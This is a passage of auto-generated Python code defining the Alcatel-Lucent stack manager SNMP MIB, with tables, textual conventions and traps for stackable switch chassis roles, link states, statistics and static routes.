alaStackMgrStaticRouteSrcStartIf=alaStackMgrStaticRouteSrcStartIf, alaStackMgrCommandStatus=alaStackMgrCommandStatus, alaStackMgrStatsTable=alaStackMgrStatsTable, alaStackMgrTraps=alaStackMgrTraps, alaStackMgrTokensUsed=alaStackMgrTokensUsed, alaStackMgrTokensAvailable=alaStackMgrTokensAvailable, alaStackMgrPrimary=alaStackMgrPrimary, alaStackMgrCommandAction=alaStackMgrCommandAction, alaStackMgrSlotNINumber=alaStackMgrSlotNINumber, AlaStackMgrLinkNumber=AlaStackMgrLinkNumber, alaStackMgrStaticRouteSrcEndIf=alaStackMgrStaticRouteSrcEndIf, alcatelIND1StackMgrTrapObjects=alcatelIND1StackMgrTrapObjects, alaStackMgrRemoteLinkB=alaStackMgrRemoteLinkB, AlaStackMgrStackingMode=AlaStackMgrStackingMode, alaStackMgrChasRole=alaStackMgrChasRole, alaStackMgrSavedSlotNINumber=alaStackMgrSavedSlotNINumber, alaStackMgrOutOfTokensTrap=alaStackMgrOutOfTokensTrap, alaStackMgrStaticRouteTable=alaStackMgrStaticRouteTable, alaStackMgrOperStackingMode=alaStackMgrOperStackingMode, alaStackMgrStaticRouteEntry=alaStackMgrStaticRouteEntry, alaStackMgrStatErrorsRx=alaStackMgrStatErrorsRx, alaStackMgrBadMixTrap=alaStackMgrBadMixTrap, alcatelIND1StackMgrMIBCompliances=alcatelIND1StackMgrMIBCompliances, AlaStackMgrStackStatus=AlaStackMgrStackStatus, alcatelIND1StackMgrMIBGroups=alcatelIND1StackMgrMIBGroups, alaStackMgrChasState=alaStackMgrChasState, alaStackMgrChassisTable=alaStackMgrChassisTable, alaStackMgrSlotCMMNumber=alaStackMgrSlotCMMNumber, alaStackMgrRemoteLinkA=alaStackMgrRemoteLinkA, alaStackMgrLocalLinkStateB=alaStackMgrLocalLinkStateB, alaStackMgrClearedSlotTrap=alaStackMgrClearedSlotTrap, alcatelIND1StackMgrMIBConformance=alcatelIND1StackMgrMIBConformance)
(softent_ind1_stack_mgr,) = mibBuilder.importSymbols('ALCATEL-IND1-BASE', 'softentIND1StackMgr') (integer, object_identifier, octet_string) = mibBuilder.importSymbols('ASN1', 'Integer', 'ObjectIdentifier', 'OctetString') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, value_range_constraint, constraints_union, constraints_intersection, value_size_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ValueRangeConstraint', 'ConstraintsUnion', 'ConstraintsIntersection', 'ValueSizeConstraint') (interface_index,) = mibBuilder.importSymbols('IF-MIB', 'InterfaceIndex') (module_compliance, notification_group, object_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup', 'ObjectGroup') (mib_scalar, mib_table, mib_table_row, mib_table_column, object_identity, unsigned32, counter32, time_ticks, gauge32, notification_type, mib_identifier, integer32, module_identity, iso, bits, counter64, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'ObjectIdentity', 'Unsigned32', 'Counter32', 'TimeTicks', 'Gauge32', 'NotificationType', 'MibIdentifier', 'Integer32', 'ModuleIdentity', 'iso', 'Bits', 'Counter64', 'IpAddress') (display_string, row_status, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'RowStatus', 'TextualConvention') alcatel_ind1_stack_mgr_mib = module_identity((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1)) alcatelIND1StackMgrMIB.setRevisions(('2009-02-06 00:00', '2007-04-03 00:00', '2005-07-15 00:00', '2004-07-01 00:00', '2004-04-23 00:00', '2004-04-08 00:00', '2004-04-04 00:00', '2004-03-22 00:00', '2004-03-08 00:00', '2001-08-27 00:00')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setRevisionsDescriptions(('Added alaStackMgrOperStackingMode and alaStackMgrAdminStackingMode objects. Added AlaStackMgrStackingMode TEXTUAL-CONVENTION.', 'Updated copyright information.', 'New trap alaStackMgrBadMixTrap has been added. AlaStackMgrSlotState & AlaStackMgrLinkNumber textual convention have been modified.', 'Updates on definitions for link states. Updates on pass through slot range.', 'New trap alaStackMgrOutOfPassThruSlotsTrap has been added.', 'alaStackMgrPassThruTrap has been split in three traps to assure backwards compatibility with previous releases of the Birds Of Prey products.', '-Command action and command status objects added to the chassis table. -Link state textual conventions have been updated.', 'Objects to handle information about token usage.', 'Objects to support the pass through mode added.', 'Addressing discrepancies with Alcatel Standard.')) if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setLastUpdated('200902060000Z') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setOrganization('Alcatel-Lucent') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setContactInfo('Please consult with Customer Service to ensure the most appropriate version of this document is used with the products in question: Alcatel-Lucent, Enterprise Solutions Division (Formerly Alcatel Internetworking, Incorporated) 26801 West Agoura Road Agoura Hills, CA 91301-5122 United States Of America Telephone: North America +1 800 995 2696 Latin America +1 877 919 9526 Europe +31 23 556 0100 Asia +65 394 7933 All Other +1 818 878 4507 Electronic Mail: support@ind.alcatel.com World Wide Web: http://alcatel-lucent.com/wps/portal/enterprise File Transfer Protocol: ftp://ftp.ind.alcatel.com/pub/products/mibs') if mibBuilder.loadTexts: alcatelIND1StackMgrMIB.setDescription('This module describes an authoritative enterprise-specific Simple Network Management Protocol (SNMP) Management Information Base (MIB): For the Birds Of Prey Product Line Stack Manager The right to make changes in specification and other information contained in this document without prior notice is reserved. No liability shall be assumed for any incidental, indirect, special, or consequential damages whatsoever arising from or related to this document or the information contained herein. Vendors, end-users, and other interested parties are granted non-exclusive license to use this specification in connection with management of the products for which it is intended to be used. Copyright (C) 1995-2007 Alcatel-Lucent ALL RIGHTS RESERVED WORLDWIDE') alcatel_ind1_stack_mgr_mib_objects = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1)) alcatel_ind1_stack_mgr_mib_conformance = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 2)) alcatel_ind1_stack_mgr_trap_objects = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3)) ala_stack_mgr_traps = mib_identifier((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4)) class Alastackmgrlinknumber(TextualConvention, Integer32): description = 'Lists the port numbers that the stackable ports can hold. Also the values are the same as the one marked on the Stack chassis pannel. These values are hardware dependent as follows: - First generation stackable switches - 24 ports: linkA27=27, linkB28=28, - First generation stackable switches - 48 ports: linkA51=51, linkB52=52, - 1st version of 2nd generation stackable switches : linkA31=31, linkB32=32. - 2nd version of 2nd generation stackable switches 24-port : linkA25=25, linkB26=26, - 2nd version of 2nd generation stackable switches 48-port : linkA29=29, linkB30=30.' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(27, 28, 51, 52, 31, 32, 25, 26, 29, 30, 1, 2)) named_values = named_values(('linkA27', 27), ('linkB28', 28), ('linkA51', 51), ('linkB52', 52), ('linkA31', 31), ('linkB32', 32), ('linkA25', 25), ('linkB26', 26), ('linkA29', 29), ('linkB30', 30), ('linkA', 1), ('linkB', 2)) class Alastackmgrninumber(TextualConvention, Integer32): description = 'The numbers allocated for the stack NIs are as follows: - 0 = invalid slot number; - 1..8 = valid and assigned slot numbers corresponding values from the entPhysicalTable; - 1001..1008 = switches operating in pass through mode; - 255 = unassigned slot number.' status = 'current' subtype_spec = Integer32.subtypeSpec + value_range_constraint(0, 1008) class Alastackmgrlinkstatus(TextualConvention, Integer32): description = 'Provides the logical stack link status. The logical link is considered operational if the physical link is operational and communication with the adjacent switch is active. The possible values are: - up(1), - down(2).' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2)) named_values = named_values(('up', 1), ('down', 2)) class Alastackmgrslotrole(TextualConvention, Integer32): description = 'Indicates the role of each switch within the stack as follows: - unassigned(0), - primary(1), - secondary(2), - idle(3), - standalone(4), - passthrough(5)' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5)) named_values = named_values(('unassigned', 0), ('primary', 1), ('secondary', 2), ('idle', 3), ('standalone', 4), ('passthrough', 5)) class Alastackmgrstackstatus(TextualConvention, Integer32): description = 'Indicates whether the stack ring is or not in loop as follows: - loop(1), - noloop(2)' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2)) named_values = named_values(('loop', 1), ('noloop', 2)) class Alastackmgrslotstate(TextualConvention, Integer32): description = "Current operational state of a stack element as follows: - running(1) : switch is fully operational, - duplicateSlot(2): switch operates in pass through mode due to slot duplication, - clearedSlot(3) : switch operates in pass through mode upon management command, - outOfSlots(4) : switch operates in pass through because the maximum number of allowed stackable swicthes has been reached, - outOfTokens(5) : switch operates in pass through mode because no tokens are available to be assigned. - badMix (6) : switch operates in pass through mode because it's not compatible with the existing stack." status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6)) named_values = named_values(('running', 1), ('duplicateSlot', 2), ('clearedSlot', 3), ('outOfSlots', 4), ('outOfTokens', 5), ('badMix', 6)) class Alastackmgrcommandaction(TextualConvention, Integer32): description = 'Identifies which of the following actions is to be performed: - notSiginificant(0) : no action, - clearSlot(1) : saved slot number will be removed from persistent database, - clearSlotImmediately : saved slot number will be cleared and change will be in effect right away causing the switch to enter in pass through mode, - reloadAny(3) : reboot an element regardless of its operational mode, - reloadPassThru(4) : reboot an element that is operating in pass thru mode.' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(0, 1, 2, 3, 4)) named_values = named_values(('notSignificant', 0), ('clearSlot', 1), ('clearSlotImmediately', 2), ('reloadAny', 3), ('reloadPassThru', 4)) class Alastackmgrcommandstatus(TextualConvention, Integer32): description = 'Identifies the current status of the last action command received as follows: - notSignificant(0), - clearSlotInProgress(1), - clearSlotFailed(2), - clearSlotSuccess(3), - setSlotInProgress(4), - setSlotFailed(5), - setSlotSuccess(6).' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6)) named_values = named_values(('notSignificant', 0), ('clearSlotInProgress', 1), ('clearSlotFailed', 2), ('clearSlotSuccess', 3), ('setSlotInProgress', 4), ('setSlotFailed', 5), ('setSlotSuccess', 6)) class Alastackmgrstackingmode(TextualConvention, Integer32): description = 'Stacking mode, which specifies the ability of a switch to be part of a set of switches or virtual chassis: - stackable(1) :the switch may be stacked with other switches in the same virtual chassis. - standalone(2) :the switch is not allowed to be stacked together with other switches.' status = 'current' subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2)) named_values = named_values(('stackable', 1), ('standalone', 2)) ala_stack_mgr_chassis_table = mib_table((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1)) if mibBuilder.loadTexts: alaStackMgrChassisTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChassisTable.setDescription('Maintains a list with information about all the switches that participate on the stack herein refered to as chassis.') ala_stack_mgr_chassis_entry = mib_table_row((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1)).setIndexNames((0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber')) if mibBuilder.loadTexts: alaStackMgrChassisEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChassisEntry.setDescription('Each entry corresponds to a chassis and lists its role and neighbors in the stack.') ala_stack_mgr_slot_ni_number = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 1), ala_stack_mgr_ni_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrSlotNINumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSlotNINumber.setDescription('Numbers allocated for the stack NIs as follows: - 0: invalid slot number - 1..8: valid and assigned slot numbers corresponding to values from the entPhysicalTable - 1001..1008: swicthes operating in pass through mode - 255: unassigned slot number.') ala_stack_mgr_slot_cmm_number = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 72))).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrSlotCMMNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSlotCMMNumber.setDescription('The numbers allocated for the stack CMMs are from 65..72 or 0 if not present') ala_stack_mgr_chas_role = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 3), ala_stack_mgr_slot_role()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrChasRole.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChasRole.setDescription('The current role of the chassis as follows: - unassigned(0), - primary(1), - secondary(2), - idle(3), - standalone(4), - passthrough(5).') ala_stack_mgr_local_link_state_a = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 4), ala_stack_mgr_link_status()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateA.setDescription('1 indicates that the stacking link A is up, which means it knows its adjacent node. 2 indicates that the stacking link A is inactive and RemoteNISlotA and RemoteLinkA are not significants.') ala_stack_mgr_remote_ni_slot_a = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 5), ala_stack_mgr_ni_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotA.setDescription(' This is the remote NI slot seen by the current NI through its stacking link A. The numbers allocated for the Stack NIs are 1..8, 1001..1008 or 0 if not present') ala_stack_mgr_remote_link_a = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 6), ala_stack_mgr_link_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrRemoteLinkA.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteLinkA.setDescription('This is the remote link of the remote NI slot seen through the stacking link A. The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') ala_stack_mgr_local_link_state_b = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 7), ala_stack_mgr_link_status()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrLocalLinkStateB.setDescription('1 indicates that the stacking link B is up, which means it knows its adjacent node. 2 indicates that the stacking link B is inactive and RemoteNISlotB and RemoteLinkB are not significants.') ala_stack_mgr_remote_ni_slot_b = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 8), ala_stack_mgr_ni_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteNISlotB.setDescription(' This is the remote NI slot seen by the current NI through its stacking link B. The numbers allocated for the Stack NIs are 1..8, 1001..1008 or 0 if not present') ala_stack_mgr_remote_link_b = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 9), ala_stack_mgr_link_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrRemoteLinkB.setStatus('current') if mibBuilder.loadTexts: alaStackMgrRemoteLinkB.setDescription('This is the remote link of the remote NI slot seen through the stacking link B. The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') ala_stack_mgr_chas_state = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 10), ala_stack_mgr_slot_state()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrChasState.setStatus('current') if mibBuilder.loadTexts: alaStackMgrChasState.setDescription('This current state of the chassis: running (1), duplicateSlot (2), clearedSlot (3), outOfSlots (4), outOfTokens (5), or badMix (6).') ala_stack_mgr_saved_slot_ni_number = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 11), ala_stack_mgr_ni_number()).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrSavedSlotNINumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSavedSlotNINumber.setDescription('Slot number stored in persistent memory that will be in effect if the stack element reboots. Only slot numbers in the range 1..8 are allowed.') ala_stack_mgr_command_action = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 12), ala_stack_mgr_command_action()).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrCommandAction.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCommandAction.setDescription('This object identifies which of the following Actions is to be performed: clearSlot(1), clearSlotImmediately (2) or reload (3). Whenever a new command is received, the value of the object alaStackMgrCommandStatus will be updated accordingly.') ala_stack_mgr_command_status = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 13), ala_stack_mgr_command_status()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrCommandStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrCommandStatus.setDescription('This object provides the current status of last command received from the management as follows: notSignificant(0), clearSlotInProgress(1), clearSlotFailed(2), clearSlotSuccess(3), setSlotInProgress(4), setSlotFailed(5) or setSlotSuccess(6). New commands are only accepted if the value of this object is different than setSlotInProgress and clearSlotInProgress.') ala_stack_mgr_oper_stacking_mode = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 14), ala_stack_mgr_stacking_mode()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrOperStackingMode.setStatus('current') if mibBuilder.loadTexts: alaStackMgrOperStackingMode.setDescription('This object specifies the current running mode of the switch.') ala_stack_mgr_admin_stacking_mode = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 1, 1, 15), ala_stack_mgr_stacking_mode()).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrAdminStackingMode.setStatus('current') if mibBuilder.loadTexts: alaStackMgrAdminStackingMode.setDescription('This object specifies the stack mode atained on reload.') ala_stack_mgr_stats_table = mib_table((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2)) if mibBuilder.loadTexts: alaStackMgrStatsTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatsTable.setDescription('Stack port statistics table.') ala_stack_mgr_stats_entry = mib_table_row((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1)).setIndexNames((0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber'), (0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStatLinkNumber')) if mibBuilder.loadTexts: alaStackMgrStatsEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatsEntry.setDescription(' Stats table for stackable ports.') ala_stack_mgr_stat_link_number = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 1), ala_stack_mgr_link_number()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatLinkNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatLinkNumber.setDescription(' Local link refers to the stacking port on each slot. The values of these ports are: - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52.') ala_stack_mgr_stat_pkts_rx = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 2), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatPktsRx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatPktsRx.setDescription('The total number of packets recieved on this port.') ala_stack_mgr_stat_pkts_tx = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 3), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatPktsTx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatPktsTx.setDescription('The total number of packets transmitted on this port.') ala_stack_mgr_stat_errors_rx = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 4), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatErrorsRx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatErrorsRx.setDescription('The total number of packets in error - received on the port.') ala_stack_mgr_stat_errors_tx = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 5), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatErrorsTx.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatErrorsTx.setDescription('The total number of packets in error - transmitted on the port.') ala_stack_mgr_stat_delay_from_last_msg = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 2, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(0, 2147483647))).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStatDelayFromLastMsg.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStatDelayFromLastMsg.setDescription('The delay since the last message.') ala_stack_mgr_stack_status = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 3), ala_stack_mgr_stack_status()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStackStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStackStatus.setDescription('Indicates whether the Stack is or not in Loop.') ala_stack_mgr_tokens_used = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 4), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrTokensUsed.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTokensUsed.setDescription('Indicates the total number of tokens that have been allocated to all the elements in the stack.') ala_stack_mgr_tokens_available = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrTokensAvailable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTokensAvailable.setDescription('Indicates the total number of tokens that are still available and that potentially may be allocated to elements of the stack.') ala_stack_mgr_static_route_table = mib_table((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6)) if mibBuilder.loadTexts: alaStackMgrStaticRouteTable.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteTable.setDescription('Maintains a list with information about all the static routes in the stack.') ala_stack_mgr_static_route_entry = mib_table_row((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1)).setIndexNames((0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStaticRouteSrcStartIf'), (0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStaticRouteSrcEndIf'), (0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStaticRouteDstStartIf'), (0, 'ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStaticRouteDstEndIf')) if mibBuilder.loadTexts: alaStackMgrStaticRouteEntry.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteEntry.setDescription('Each entry corresponds to a static route and lists its source and destination in the stack.') ala_stack_mgr_static_route_src_start_if = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 1), interface_index()) if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcStartIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcStartIf.setDescription('The physical identification number for start source range of the static route') ala_stack_mgr_static_route_src_end_if = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 2), interface_index()) if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcEndIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteSrcEndIf.setDescription('The physical identification number for end source range of the static route') ala_stack_mgr_static_route_dst_start_if = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 3), interface_index()) if mibBuilder.loadTexts: alaStackMgrStaticRouteDstStartIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteDstStartIf.setDescription('The physical identification number for start destination range of the static route') ala_stack_mgr_static_route_dst_end_if = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 4), interface_index()) if mibBuilder.loadTexts: alaStackMgrStaticRouteDstEndIf.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteDstEndIf.setDescription('The physical identification number for end destination range of the static route') ala_stack_mgr_static_route_port = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 5), ala_stack_mgr_link_number().clone(1)).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrStaticRoutePort.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRoutePort.setDescription('This is the stack link to the destination NI slot . The values for these ports are platform dependent. The possible values are: - 0: not present - linkA: 25, 27, 29, 31 or 51 - linkB: 26, 28, 30, 32 or 52. Incase of static routesthe value is either 1(STACKA) or 2(STACKB)') ala_stack_mgr_static_route_port_state = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 6), ala_stack_mgr_link_status()).setMaxAccess('readonly') if mibBuilder.loadTexts: alaStackMgrStaticRoutePortState.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRoutePortState.setDescription('1 indicates that the static route stacking link is up . 2 indicates that the stacking link is inactive.') ala_stack_mgr_static_route_status = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('on', 1), ('off', 2))).clone('on')).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrStaticRouteStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteStatus.setDescription('Whether this static route is enabled or disabled .') ala_stack_mgr_static_route_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 1, 6, 1, 8), row_status()).setMaxAccess('readwrite') if mibBuilder.loadTexts: alaStackMgrStaticRouteRowStatus.setStatus('current') if mibBuilder.loadTexts: alaStackMgrStaticRouteRowStatus.setDescription('The status of this table entry. ') ala_stack_mgr_trap_link_number = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 1), ala_stack_mgr_link_number()).setMaxAccess('accessiblefornotify') if mibBuilder.loadTexts: alaStackMgrTrapLinkNumber.setStatus('current') if mibBuilder.loadTexts: alaStackMgrTrapLinkNumber.setDescription('Holds the link number, when the stack is not in loop.') ala_stack_mgr_primary = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 2), ala_stack_mgr_ni_number()).setMaxAccess('accessiblefornotify') if mibBuilder.loadTexts: alaStackMgrPrimary.setStatus('current') if mibBuilder.loadTexts: alaStackMgrPrimary.setDescription('Holds the slot number of the stack element that plays the role of Primary.') ala_stack_mgr_secondary = mib_scalar((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 3, 3), ala_stack_mgr_ni_number()).setMaxAccess('accessiblefornotify') if mibBuilder.loadTexts: alaStackMgrSecondary.setStatus('current') if mibBuilder.loadTexts: alaStackMgrSecondary.setDescription('Holds the slot number of the stack element that plays the role of Secondary.') ala_stack_mgr_duplicate_slot_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 1)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber')) if mibBuilder.loadTexts: alaStackMgrDuplicateSlotTrap.setStatus('current') if mibBuilder.loadTexts: alaStackMgrDuplicateSlotTrap.setDescription('The element specified by alaStackMgrSlotNINumber has the same slot number of another element of the stack and it must relinquish its operational status because it has a higher election key (up time, slot, mac). The elements will be put in pass through mode.') ala_stack_mgr_neighbor_change_trap = notification_type((1, 3, 6, 1, 4, 1, 6486, 801, 1, 2, 1, 24, 1, 4, 0, 2)).setObjects(('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrStackStatus'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrSlotNINumber'), ('ALCATEL-IND1-STACK-MANAGER-MIB', 'alaStackMgrTrapLinkNumber')) if 